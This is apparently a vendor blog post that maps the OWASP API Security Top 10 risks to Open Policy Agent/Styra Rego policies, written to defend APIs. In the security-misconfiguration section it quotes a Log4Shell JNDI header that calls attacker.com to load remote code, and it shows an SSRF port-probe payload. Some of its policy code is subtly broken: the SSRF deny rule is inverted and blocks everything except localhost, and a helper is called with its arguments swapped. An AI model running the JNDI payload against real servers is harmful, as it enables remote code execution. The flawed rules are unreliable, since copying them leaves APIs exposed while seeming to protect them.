OWASP Top 10 with OPA/Styra
Among other things, the OWASP organization delivers reports on the Top 10 most prevalent and important security risks for web-based software development. In 2019 they started reporting on the Top 10 API Security risks and refreshed that list in 2023. In this blog we describe how OPA/Styra can help with 9 of the 10 risks, and for each one we rate how impactful OPA/Styra is:
- 4: OPA/Styra provide a solution
- 3: OPA/Styra provide more than half of the solution
- 2: OPA/Styra provide significant help but less than half of the solution
- 1: OPA/Styra provide some help
- 0: OPA/Styra provide no help
Below we detail each of these 10 risks and briefly how to address them with OPA and Styra. We have ordered the Top 10 not by OWASP priority but so that similar solutions are presented together.
API5:2023 – Broken Function Level Authorization
Complex access control policies with different hierarchies, groups, and roles, and an unclear separation between administrative and regular functions, tend to lead to authorization flaws. By exploiting these issues, attackers can gain access to other users’ resources and/or administrative functions.”
OWASP API5:2023
Effectively–every API should ensure that users belong to the right groups to be accessing the API at all. At Styra we sometimes hear our customers call this coarse-grained authorization.
OWASP Example: An application lets anyone respond to an existing invitation to join, but should only permit administrators to create new invitations. More concretely, here is the policy.
GET /api/invites/{invite_guid} is open to anyone
POST /api/invites/new is only for administrators
With OPA/Styra, such authorization policies are easy to express. Below we assume a JWT token contains group information and the decoded result is stored in `token`, but we have elided the decoding logic.
# everyone may run GET on /api/invites/{invite_guid}
allow if {
input.method == “GET”
input.path = [“api”, “invites”, invite_guid]
}
allow if {
input.method == “POST”
input.path = [“api”, “invites”, “new”]
“admin” in token.groups
}
Impact rank: 4. OPA/Styra provide a solution.
API1:2023 – Broken Object Level Authorization
APIs tend to expose endpoints that handle object identifiers, creating a wide attack surface of Object Level Access Control issues. Object level authorization checks should be considered in every function that accesses a data source using an ID from the user.
OWASP API1:2023
Effectively, an API that operates on an individual object (an account ID for a bank or a pet ID for a pet store) should be checked to ensure that the user is actually permitted to read/update/delete/… that specific object. We often hear customers call this “fine-grained authorization”.
OWASP Example: A franchise restaurant provides an API that shows each store owner the revenue for their store but no one else’s. The API shows show the corporate finance team the revenue for all stores.
GET /shops/{shopName}/revenue is open to finance
GET /shops/{shopName}/revenue is allowed for owners of shopName
Coarse-grained API authorization suffices for the finance team.
allow if {
input.method == “GET”
input.path = [“shops”, shopName, “revenue”]
“finance” in token.groups
}
But to ensure that only the owner of a shop can see their own revenue requires additional information that needs to be pulled out of a database: for a given {shopName}, who is the owner? With OPA/Styra, we can use a call-out to retrieve the information or replicate it in bulk. Below we show using a call-out to a MongoDB database.
allow if {
input.method == “GET”
input.path = [“shops”, shopName, “revenue”]
“owner” in token.groups
shopOwner(shopName) == token.username
}
# Ask the database who the owner of the shop is
shopOwner(shopName) = doc.results.owner if {
mongoConnect := {
“uri”: “mongodb://…”,
“filter”: {“name”: shopName},
}
doc := mongodb.find_one(mongoConnect)
}
Impact rank: 4. OPA/Styra provide a solution.
API3:2023 – Broken Object Property Level Authorization
This category combines API3:2019 Excessive Data Exposure and API6:2019 – Mass Assignment, focusing on the root cause: the lack of or improper authorization validation at the object property level. This leads to information exposure or manipulation by unauthorized parties.
OWASP API3:2023
Effectively this risk recognizes that API calls have a multitude of parameters that all need to be authorized. It’s an even finer-grained version of authorization than object-level authorization.
OWASP Example: An AirBNB-type online service has an API to let a renter book a host’s home. The booking object has several fields, some of which the host can set (e.g. approved) and some of which the host should only be able to read (e.g. total_booking_price).
POST /api/host/approve_booking/{guid}
should let the host change the `approved` and `comment` properties
but not the `total_booking_price` property
As a concrete API example, the following API should be prevented by policy when executed by the host.
POST /api/host/approve_booking/33a66ab93620
{
"approved": true,
"comment": "Check-in is after 3pm",
"total_stay_price": "$1,000,000"
}
OPA/Styra let you inspect the body of the request to ensure only the proper parameters are provided. This combines function-level, object-level, and object-property-level authorization. We have omitted the details seen earlier.
allow if {
input.method == “POST”
input.path = [“api”, “host”, “approve_booking”, guid]
“host” in token.groups
bookingOwner(guid) == input.username
every key, value in input.body {
key in {“approved”, “comment”}
}
}
Impact rank: 4. OPA/Styra provide a solution.
API7:2023 – Server Side Request Forgery
Server-Side Request Forgery (SSRF) flaws can occur when an API is fetching a remote resource without validating the user-supplied URI. This enables an attacker to coerce the application to send a crafted request to an unexpected destination, even when protected by a firewall or a VPN.
OWASP API7:2023
SSRF is a long-standing issue with web-applications. It makes its way into the API space because APIs can include URLs in the body, causing the application to follow those URLs and execute malicious code.
OWASP example: A social network enables users to upload profile photos using a URL and will upon request fetch that URL to display the user’s photo. Here is an example API call as the developer expected it.
POST /api/profile/upload_picture
{
"picture_url": "http://example.com/profile_pic.jpg"
}
However, an attacker can use this API to scan a port to understand if it is open based on response time.
POST /api/profile/upload_picture
{
"picture_url": "localhost:8080"
}
While obviously SSRF can take many forms, OPA/Styra can be used to provide some basic safeguards that would eliminate examples like the one above.
deny if {
not startswith(input.body.picture_url, “localhost:”)
}
This policy demonstrates how to constrain the values in the JSON body of an API. Previous examples didn’t go this deep into the API, stopping at the API method/path, the object in that path, or the field keys in the body of that path.
Note here we are using `deny` instead of `allow` as is seen in previous examples. OPA/Styra support both, as well as (customizable) conflict resolution. In fact OPA/Styra supports general-purpose policy decisions whose value is not necessarily allow/deny or true/false. It is common for a policy decision to contain multiple values such as a boolean describing whether a request is allowed, a human-readable error message, the HTTP status code to return (403 versus 404), and any headers that should be applied.
Impact rank: 3. OPA/Styra provide more than half of the solution.
API8:2023 – Security Misconfiguration
APIs and the systems supporting them typically contain complex configurations, meant to make the APIs more customizable. Software and DevOps engineers can miss these configurations, or don’t follow security best practices when it comes to configuration, opening the door for different types of attacks.
OWASP API8:2023
Said differently, the configuration of every piece of (cloud) infrastructure and every application component can cause a security problem. Fortunately, modern development stacks often use configuration files (such as Infrastructure-as-code and YAML files) that are amenable to analysis so that misconfigurations can be detected before they cause problems.
OWASP example: A bad actor can leverage misconfigured Log4j and permissive network settings to leverage the Java Naming and Directory Interface (JNDI) and execute malicious code on the server. For example, the following API call can cause the server to download and execute a malicious Java program by simply logging the API request with Log4j.
GET /health
X-Api-Version: ${jndi:ldap://attacker.com/Malicious.class}
With OPA/Styra we can impose policies that reject configuration files with unsafe settings for Log4j.
# Deny an application whose log4j configuration enables JNDI.
deny {
input.properties.enableJndiContextSelector == true
}
deny {
input.properties.enableJndiJdbc == true
}
deny {
input.properties.enableJndiJms == true
}
deny {
input.properties.enableJndiLookup == true
}
OPA/Styra also help us tighten down network configuration as well, e.g. on Kubernetes, to avoid including known bad IPs.
deny {
input.kind == “NetworkPolicy”
outcidr := input.spec.egress[_].to[_].ipBlock.cidr
net.cidr_contains(outcidr, “100.2.244.138”) # a known-bad IP
# Could have a list of known-bad IPs that we update dynamically
}
References
Impact rank: 3. OPA/Styra provide more than half the solution.
API9:2023 – Improper Inventory Management
APIs tend to expose more endpoints than traditional web applications, making proper and updated documentation highly important. A proper inventory of hosts and deployed API versions also are important to mitigate issues such as deprecated API versions and exposed debug endpoints.
OWASP API9:2023
In short, it is crucial to understand what APIs exist and ensure you have security controls deployed across all of them.
OWASP Example: While the current version of the social network api `api.socialnetwork.owasp.org` is properly protected, the Beta version of that API has the same functionality but is not protected at all: beta.api.socialnetwork.owasp.org. It was a remnant of a rollout process that was never completed.
With OPA/Styra we have already seen how to write policies that protect both the old and new versions of each API, but for this OWASP risk we must discuss how to know those policies are applied across ALL of your APIs.
OPA/Styra have a few architectural options for enforcement. Each of them provide different tradeoffs between time-to-value, breadth and depth of control.
- Gateway: OPA/Styra can be integrated with many different gateways to account for the different technical choices different teams have made. This enforcement option provides broad, comprehensive coverage of every API that flows through any gateway connected to OPA/Styra.
- ServiceMesh: OPA/Styra can be integrated at the service-mesh level too. Unless servicemeshes are pervasive at your organization, this provides less comprehensive coverage for north-south traffic, but provides east-west coverage and outbound traffic coverage as well.
- SDK: If teams want to modify their applications, OPA/Styra can be integrated there too. This provides the deepest integration but obviously requires changing applications, doing code reviews to ensure no code paths are missing an integration, etc.
And of course all 3 options can be combined at once so that policies are enforced at the gateway, at the service mesh, and at the SDK levels.
Additionally, OPA/Styra support decision logging, which provides perfect visibility into every API call that passes through authorization checks. Checking that log against OpenAPI specs and other out-of-band inventory lists tells you exactly what APIs are being authorized, and which ones are missing.
Impact rank: 2. OPA/Styra provide significant help.
API10:2023 – Unsafe Consumption of APIs
Developers tend to trust data received from third-party APIs more than user input, and so tend to adopt weaker security standards. In order to compromise APIs, attackers go after integrated third-party services instead of trying to compromise the target API directly.
OWASP API10:2023
In short, outbound API calls from an application (and their responses) should be secured just like inbound APIs.
OPA/Styra leverage service-mesh technology (and actually just the network-proxy part of that technology) to apply all the same API controls described above for inbound APIs to outbound APIs as well. In Styra DAS for example, there are three policies exposed
- Ingress: policies applied to incoming API calls, enforced by a network proxy like Envoy
- Egress: policies applied to outgoing API calls, enforced by a network proxy like Envoy
- Application: policies that the application can choose to invoke as needed
The architectural diagram in API9:2023 – Improper Inventory Management shows a bit about how this works.
Impact rank: 2. OPA/Styra provide significant help.
API6:2023 – Unrestricted Access to Sensitive Business Flows
APIs vulnerable to this risk expose a business flow – such as buying a ticket, or posting a comment – without compensating for how the functionality could harm the business if used excessively in an automated manner. This doesn’t necessarily come from implementation bugs.
OWASP API6:2023
In short, it’s important to understand which flows and APIs are most sensitive and invest heavily to protect them.
In general, a complete solution to this OWASP risk requires a human being to understand the business risks associated with various APIs. But the more systemic question is how do you make that assessment part of the process of API development across many business-units, applications, clouds, etc.
Part of the answer undoubtedly is having a consistent way of analyzing and enforcing authorization policies across technologies, applications, teams, clouds. If every API, every team, every deployment is a snowflake, then the human processes surrounding business-risk assessment will never keep up with the competitive pressures to innovate and deliver business-value through APIs.
Styra/OPA give you that foundation for consistent API authorization. One way to express authorization policies, one way to integrate with enforcement points, one way to log decisions.
For example, once there is a consistent foundation in place, APIs could be tagged with how business-critical they are. Some teams could use OpenAPI; some could use YAML files in known locations; some could be maintained by security teams. OPA/Styra provide a single-pane of glass for decisions and policies, and could be extended to have a single pane of glass for business-critical API metadata, along with analysis of policies and decisions made by OPA to find gaps in the most business-relevant areas. But without that consistent solution to authorization, it is hard to make meaningful progress.
Impact rank: 2. OPA/Styra provide significant help.
API2:2023 – Broken Authentication
Authentication mechanisms are often implemented incorrectly, allowing attackers to compromise authentication tokens or to exploit implementation flaws to assume other user’s identities temporarily or permanently. Compromising a system’s ability to identify the client/user, compromises API security overall.
OWASP API2:2023
In short, authentication is the first step to security – we must know who the user is in order to effectively decide whether they are using an API properly.
The usual authentication solutions are the right answer to addressing this risk, but it was interesting that one of the OWASP examples of broken authentication is one that OPA/Styra can help with.
OWASP Example: A change-email API should require the user to re-authenticate. Otherwise, an attacker who steals even a short-lived token can immediately take over a user’s account permanently. Said differently, every change-email API should include username/password in the body to prove that the user has re-authenticated. For example, the following API would be unsafe.
PUT /account
Authorization: Bearer <token>
{ "email": "<new_email_address>" }
One way OPA/Styra can help is to apply the technique from API8:2023 – Security Misconfiguration and scan OpenAPI specs at development-time to reject API change-password designs that fail to include username/password in the body.
# Walk over all method/paths in the OpenAPI-like spec and
# for any deemed to be a change-password API
# ensure there are parameters for username and password
deny if {
some path, method
entry := input.openapi[path][method]
api_is_change_password(path, method)
required_params := {“username”, “password”}
entry.parameters & required_params != required_params
}
# Helper rule that decides whether the API is a performing
# a change-password. Overly simplified for pedagogy.
api_is_change_password(method, path) if {
{“method”: method, “path”: path} in change_password_list
}
Another way OPA/Styra can help is to reject change-password API calls at run-time that fail to include username/password. The policy below assumes the organization has standardized change-password API calls so the location and spelling of the fields are the same, but they could also be written for each API separately.
# reject if missing the username
deny if {
api_is_change_password(input.method, input.path)
not input.body.username
}
# reject if missing the password
deny if {
api_is_change_password(input.method, input.path)
not input.body.password
}
The acute reader will note that when OPA/Styra log this authorization request, it should redact the password so it is not stored in clear-text. OPA/Styra support redaction through its decision-masking feature.
Impact rank: 1. OPA/Styra provide some help.
API4:2023 – Unrestricted Resource Consumption
Satisfying API requests requires resources such as network bandwidth, CPU, memory, and storage. Other resources such as emails/SMS/phone calls or biometrics validation are made available by service providers via API integrations, and paid for per request. Successful attacks can lead to Denial of Service or an increase of operational costs.
OWASP API4:2023
In short, make sure you have CPU, memory, and rate-limits in place to avoid attackers from launching denial-of-service attacks.
OPA/Styra can’t help you here, except for imposing policies for cloud-resource memory/cpu limits. For more information, see API8:2023 – Security Misconfiguration.
Impact rank: 0. OPA/Styra provide no help.
Summary
You’ve read how OPA/Styra can help with 9 of the OWASP Top 10 API Risks. In summary…
- API1:2023 – Broken Object Level Authorization.
Use OPA/Styra to authorize whether operations on application-level objects are permitted. - API2:2023 – Broken Authentication.
Use OPA/Styra for global policies to help protect authentication APIs - API3:2023 – Broken Object Property Level Authorization.
Use OPA/Styra to authorize the fields that appear in the body of API calls. - API4:2023 – Unrestricted Resource Consumption.
OPA/Styra can’t help much. - API5:2023 – Broken Function Level Authorization.
Use OPA/Styra for coarse-grained method/path authorization on APIs - API6:2023 – Unrestricted Access to Sensitive Business Flows.
Use OPA/Styra to provide a consistent solution to authorization (across technologies, teams, clouds, user personas), which is the foundation to protecting business-critical systems. - API7:2023 – Server Side Request Forgery.
Use OPA/Styra to authorize the actual values provided in the API request bodies. - API8:2023 – Security Misconfiguration.
Use OPA/Styra to authorize the configuration of all the devops and developer resources that actually run your applications. - API9:2023 – Improper Inventory Management.
Use OPA/Styra to enforce policy at the gateway, servicemesh, or SDK levels, so as to balance the needs for comprehensive API controls as well as deep API controls. - API10:2023 – Unsafe Consumption of APIs.
Use OPA/Styra to protect outbound API calls in addition to inbound APIs.
If you want to learn more, check out..
- Styra DAS: a commercial control plane for OPA
- Styra Enterprise OPA: a commercial distribution of OPA designed for data-heavy workloads
- Open Policy Agent: CNCF graduated open-source policy project created and maintained by Styra
- Request a demo : set up a quick zoom with Styra to see a demo